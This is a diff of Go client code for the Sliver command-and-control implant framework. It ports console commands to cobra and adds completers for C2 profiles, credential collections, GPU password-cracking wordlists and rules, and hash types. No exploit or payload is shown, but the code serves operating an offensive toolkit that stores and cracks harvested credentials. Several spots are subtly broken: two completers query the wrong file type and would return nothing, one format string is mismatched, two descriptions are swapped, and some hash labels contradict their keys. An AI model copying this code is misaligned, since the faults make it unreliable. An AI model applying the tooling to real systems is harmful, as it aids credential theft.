||||
pollPaths = append(pollPaths, segment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, segment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, segment.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll paths",
|
||||
strings.Join(pollPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll files",
|
||||
strings.Join(pollFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session paths",
|
||||
strings.Join(sessionPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session files",
|
||||
strings.Join(sessionFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close paths",
|
||||
strings.Join(closePaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close files",
|
||||
strings.Join(closeFiles[:], ","),
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
con.Println("\n")
|
||||
}
|
||||
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
c2profile := ""
|
||||
var choices []string
|
||||
for _, c2profile := range c2profiles {
|
||||
choices = append(choices, c2profile.Name)
|
||||
}
|
||||
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a c2 profile",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &c2profile, nil)
|
||||
|
||||
return c2profile
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
const defaultTimeout = 60
|
||||
|
||||
// Flags is a convenience function to bind flags to a given command.
|
||||
// name - The name of the flag set (can be empty).
|
||||
// cmd - The command to which the flags should be bound.
|
||||
// flags - A function exposing the flag set through which flags are declared.
|
||||
func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
|
||||
flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
|
||||
flags(flagSet) // Let the user bind any number of flags to it.
|
||||
|
||||
if persistent {
|
||||
cmd.PersistentFlags().AddFlagSet(flagSet)
|
||||
} else {
|
||||
cmd.Flags().AddFlagSet(flagSet)
|
||||
}
|
||||
}
|
||||
|
||||
// FlagComps is a convenience function for adding completions to a command's flags.
|
||||
// cmd - The command owning the flags to complete.
|
||||
// bind - A function exposing a map["flag-name"]carapace.Action.
|
||||
func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
|
||||
comps := make(carapace.ActionMap)
|
||||
bind(&comps)
|
||||
|
||||
carapace.Gen(cmd).FlagCompletion(comps)
|
||||
}
|
||||
|
||||
// hideCommand generates a cobra annotation map with a single
|
||||
// console.CommandHiddenFilter key, which value is a comma-separated list
|
||||
// of filters to use in order to expose/hide commands based on requirements.
|
||||
// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd
|
||||
// if the target session/beacon is not a Windows host.
|
||||
func hideCommand(filters ...string) map[string]string {
|
||||
if len(filters) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(filters) == 1 {
|
||||
return map[string]string{
|
||||
console.CommandFilterKey: filters[0],
|
||||
}
|
||||
}
|
||||
|
||||
filts := strings.Join(filters, ",")
|
||||
|
||||
return map[string]string{
|
||||
console.CommandFilterKey: filts,
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -19,60 +19,39 @@ package completers
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
// ClientInterfacesCompleter completes interface addresses on the client host.
|
||||
func ClientInterfacesCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := os.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi := range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, i := range ifaces {
|
||||
addrs, err := i.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
// TrafficEncoderCompleter - Completes the names of traffic encoders
|
||||
func TrafficEncoderCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for _, encoder := range trafficEncoders.Encoders {
|
||||
results = append(results, encoder.Wasm.Name)
|
||||
}
|
||||
return results
|
||||
for _, a := range addrs {
|
||||
switch v := a.(type) {
|
||||
case *net.IPAddr:
|
||||
results = append(results, v.IP.String())
|
||||
case *net.IPNet:
|
||||
results = append(results, v.IP.String())
|
||||
default:
|
||||
results = append(results, v.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
|
||||
})
|
||||
}
|
||||
@@ -25,17 +25,18 @@ import (
|
||||
"io"
|
||||
"os"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/klauspost/compress/zstd"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/klauspost/compress/zstd"
|
||||
)
|
||||
|
||||
// CrackWordlistsCmd - Manage GPU cracking stations
|
||||
func CrackWordlistsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -55,7 +56,7 @@ func CrackWordlistsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// CrackRulesCmd - Manage GPU cracking stations
|
||||
func CrackRulesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -75,7 +76,7 @@ func CrackRulesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// CrackHcstat2Cmd - Manage GPU cracking stations
|
||||
func CrackHcstat2Cmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -162,9 +163,13 @@ func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverC
|
||||
}
|
||||
|
||||
// CrackWordlistsAddCmd - Manage GPU cracking stations
|
||||
func CrackWordlistsAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
localPath := ctx.Args.String("path")
|
||||
func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
@@ -202,9 +207,13 @@ func CrackWordlistsAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
}
|
||||
|
||||
// CrackRulesAddCmd - add a rules file
|
||||
func CrackRulesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
localPath := ctx.Args.String("path")
|
||||
func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
@@ -242,9 +251,13 @@ func CrackRulesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// CrackHcstat2AddCmd - add a hcstat2 file
|
||||
func CrackHcstat2AddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
localPath := ctx.Args.String("path")
|
||||
func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
@@ -390,8 +403,11 @@ func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error
|
||||
}
|
||||
|
||||
// CrackWordlistsRmCmd - Manage GPU cracking stations
|
||||
func CrackWordlistsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
wordlistName := ctx.Args.String("name")
|
||||
func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var wordlistName string
|
||||
if len(args) > 0 {
|
||||
wordlistName = args[0]
|
||||
}
|
||||
if wordlistName == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
@@ -421,8 +437,11 @@ func CrackWordlistsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
|
||||
// CrackRulesRmCmd - Manage GPU cracking stations
|
||||
func CrackRulesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
rulesName := ctx.Args.String("name")
|
||||
func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var rulesName string
|
||||
if len(args) > 0 {
|
||||
rulesName = args[0]
|
||||
}
|
||||
if rulesName == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
@@ -452,8 +471,11 @@ func CrackRulesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// CrackHcstat2RmCmd - remove a hcstat2 file
|
||||
func CrackHcstat2RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
hcstat2Name := ctx.Args.String("name")
|
||||
func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var hcstat2Name string
|
||||
if len(args) > 0 {
|
||||
hcstat2Name = args[0]
|
||||
}
|
||||
if hcstat2Name == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
|
||||
@@ -23,16 +23,17 @@ import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
if !AreCrackersOnline(con) {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
@@ -57,7 +58,7 @@ func CrackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// CrackStationsCmd - Manage GPU cracking stations
|
||||
func CrackStationsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
|
||||
func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
|
||||
})
|
||||
}
|
||||
|
||||
func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_WORDLIST {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
|
||||
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
|
||||
})
|
||||
}
|
||||
|
||||
func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
if file.Type != clientpb.CrackFileType_RULES {
|
||||
continue
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
|
||||
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
|
||||
})
|
||||
}
|
||||
|
||||
func byteCountSI(b int64) string {
|
||||
const unit = 1000
|
||||
if b < unit {
|
||||
return fmt.Sprintf("%d B", b)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for n := b / unit; n >= unit; n /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.1f %cB",
|
||||
float64(b)/float64(div), "kMGTPE"[exp])
|
||||
}
|
||||
|
||||
func byteCountIEC(b int64) string {
|
||||
const unit = 1024
|
||||
if b < unit {
|
||||
return fmt.Sprintf("%d B", b)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for n := b / unit; n >= unit; n /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.1f %ciB",
|
||||
float64(b)/float64(div), "KMGTPE"[exp])
|
||||
}
|
||||
+25
-14
@@ -28,7 +28,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -38,18 +38,19 @@ const (
|
||||
)
|
||||
|
||||
// CredsCmd - Add new credentials
|
||||
func CredsAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
collection := ctx.Flags.String("collection")
|
||||
username := ctx.Flags.String("username")
|
||||
plaintext := ctx.Flags.String("plaintext")
|
||||
hash := ctx.Flags.String("hash")
|
||||
hashType := parseHashType(ctx.Flags.String("hash-type"))
|
||||
func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
collection, _ := cmd.Flags().GetString("collection")
|
||||
username, _ := cmd.Flags().GetString("username")
|
||||
plaintext, _ := cmd.Flags().GetString("plaintext")
|
||||
hash, _ := cmd.Flags().GetString("hash")
|
||||
hashTypeF, _ := cmd.Flags().GetString("hash-type")
|
||||
hashType := parseHashTypeString(hashTypeF)
|
||||
if plaintext == "" && hash == "" {
|
||||
con.PrintErrorf("Either a plaintext or a hash must be provided\n")
|
||||
return
|
||||
}
|
||||
if hashType == clientpb.HashType_INVALID {
|
||||
con.PrintErrorf("Invalid hash type '%s'\n", ctx.Flags.String("hash-type"))
|
||||
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
|
||||
@@ -76,17 +77,18 @@ func CredsAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// CredsCmd - Add new credentials
|
||||
func CredsAddHashFileCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
collection := ctx.Flags.String("collection")
|
||||
filePath := ctx.Args.String("file")
|
||||
fileFormat := ctx.Flags.String("file-format")
|
||||
func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
collection, _ := cmd.Flags().GetString("collection")
|
||||
filePath := args[0]
|
||||
fileFormat, _ := cmd.Flags().GetString("file-format")
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
con.PrintErrorf("File '%s' does not exist\n", filePath)
|
||||
return
|
||||
}
|
||||
hashType := parseHashType(ctx.Flags.String("hash-type"))
|
||||
hashTypeF, _ := cmd.Flags().GetString("hash-type")
|
||||
hashType := parseHashTypeString(hashTypeF)
|
||||
if hashType == clientpb.HashType_INVALID {
|
||||
con.PrintErrorf("Invalid hash type '%s'\n", ctx.Flags.String("hash-type"))
|
||||
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -133,6 +135,15 @@ func parseHashType(raw string) clientpb.HashType {
|
||||
return clientpb.HashType_INVALID
|
||||
}
|
||||
|
||||
// same as parseHashType, but use the string representation.
|
||||
func parseHashTypeString(raw string) clientpb.HashType {
|
||||
if hashType, valid := clientpb.HashType_value[raw]; valid {
|
||||
return clientpb.HashType(hashType)
|
||||
}
|
||||
|
||||
return clientpb.HashType_INVALID
|
||||
}
|
||||
|
||||
func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
|
||||
@@ -20,18 +20,21 @@ package creds
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CredsCmd - Manage credentials
|
||||
func CredsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -83,3 +86,97 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// CredsHashTypeCompleter completes hash types.
|
||||
func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
for hashType, desc := range hashTypes {
|
||||
results = append(results, hashType)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("hash types")
|
||||
})
|
||||
}
|
||||
|
||||
// CredsHashFileFormatCompleter completes file formats for hash-files
|
||||
func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionValuesDescribed(
|
||||
UserColonHashNewlineFormat, "One hash per line.",
|
||||
HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
|
||||
CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
|
||||
).Tag("hash file formats")
|
||||
}
|
||||
|
||||
// CredsCollectionCompleter completes existing creds collection names
|
||||
func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
return carapace.Action{}
|
||||
}
|
||||
|
||||
for _, cred := range creds.Credentials {
|
||||
if cred.Collection != "" {
|
||||
results = append(results, cred.Collection)
|
||||
}
|
||||
}
|
||||
|
||||
return carapace.ActionValues(results...).Tag("creds collections")
|
||||
})
|
||||
}
|
||||
|
||||
// CredsCredentialIDCompleter completes credential IDs.
|
||||
func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := make([]string, 0)
|
||||
|
||||
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
|
||||
}
|
||||
if len(creds.Credentials) == 0 {
|
||||
return carapace.Action{}
|
||||
}
|
||||
|
||||
for _, cred := range creds.Credentials {
|
||||
results = append(results, cred.ID)
|
||||
|
||||
var hostID string
|
||||
if cred.OriginHostUUID != "" {
|
||||
if len(cred.OriginHostUUID) > 8 {
|
||||
hostID = cred.OriginHostUUID[8:]
|
||||
} else {
|
||||
hostID = cred.OriginHostUUID
|
||||
}
|
||||
} else {
|
||||
hostID = "None"
|
||||
}
|
||||
|
||||
var username string
|
||||
if cred.Username != "" {
|
||||
username = fmt.Sprintf(" (user: %s)", cred.Username)
|
||||
}
|
||||
|
||||
var cracked string
|
||||
if cred.IsCracked {
|
||||
cracked = "[C]"
|
||||
} else {
|
||||
cracked = "[ ]"
|
||||
}
|
||||
|
||||
desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
|
||||
results = append(results, desc)
|
||||
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("credentials")
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package creds
|
||||
|
||||
// List of all available hash-types, for completions.
|
||||
// Unfortunately this list has to be maintained manually,
|
||||
// until someone devises a way to do so automatically.
|
||||
var hashTypes = map[string]string{
|
||||
"MD5": "MD5", // Enum 0 in proto file.
|
||||
|
||||
"MD4": "MD4",
|
||||
"SHA1": "SHA1",
|
||||
"SHA2_224": "SHA2-224",
|
||||
"SHA2_256": "SHA2-256",
|
||||
"SHA2_384": "SHA2-384",
|
||||
"SHA2_512": "SHA2-512",
|
||||
"SHA3_224": "SHA3-224",
|
||||
"SHA3_256": "SHA3-256",
|
||||
"SHA3_384": "SHA3-384",
|
||||
"SHA3_512": "SHA3-512",
|
||||
"RIPEMD_160": "RIPEMD-160",
|
||||
"BLAKE2B_256": "BLAKE2b-512",
|
||||
"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
"GOST_R_34_11_94": "GOST R 34.11-94",
|
||||
"GPG": "GPG (AES-128/AES-256 (SHA-1($pass)))",
|
||||
"HALF_MD5": "Half MD5",
|
||||
"KECCAK_224": "Keccak-224",
|
||||
"KECCAK_256": "Keccak-256",
|
||||
"KECCAK_384": "Keccak-384",
|
||||
"KECCAK_512": "Keccak-512",
|
||||
"WHIRLPOOL": "Whirlpool",
|
||||
"SIPHASH": "SipHash",
|
||||
"MD5_UTF16LE": "md5(utf16le($pass))",
|
||||
"SHA1_UTF16LE": "sha1(utf16le($pass))",
|
||||
"SHA256_UTF16LE": "sha256(utf16le($pass))",
|
||||
"SHA384_UTF16LE": "sha384(utf16le($pass))",
|
||||
"SHA512_UTF16LE": "sha512(utf16le($pass))",
|
||||
"BLAKE2B_512_PW_SALT": "BLAKE2b-512($pass.$salt)",
|
||||
"BLAKE2B_512_SALT_PW": "BLAKE2b-512($salt.$pass)",
|
||||
"MD5_PW_SALT": "md5($pass.$salt)",
|
||||
"MD5_SALT_PW": "md5($salt.$pass)",
|
||||
"MD5_SALT_PW_SALT": "md5($salt.$pass.$salt)",
|
||||
"MD5_SALT_MD5_PW": "md5($salt.md5($pass))",
|
||||
|
||||
// ... TODO fill in the rest ...,
|
||||
|
||||
"CRC32": "CRC32",
|
||||
"CRC32C": "CRC32B",
|
||||
"CRC64Jones": "CRC64-Jones",
|
||||
"JAVA_OBJECT": "Java object",
|
||||
"MURMUR": "MurmurHash",
|
||||
"MURMUR3": "MurmurHash3",
|
||||
"THREE_DES": "3DES (PT = $salt, key = $pass)",
|
||||
"DES": "DES (PT = $salt, key = $pass)",
|
||||
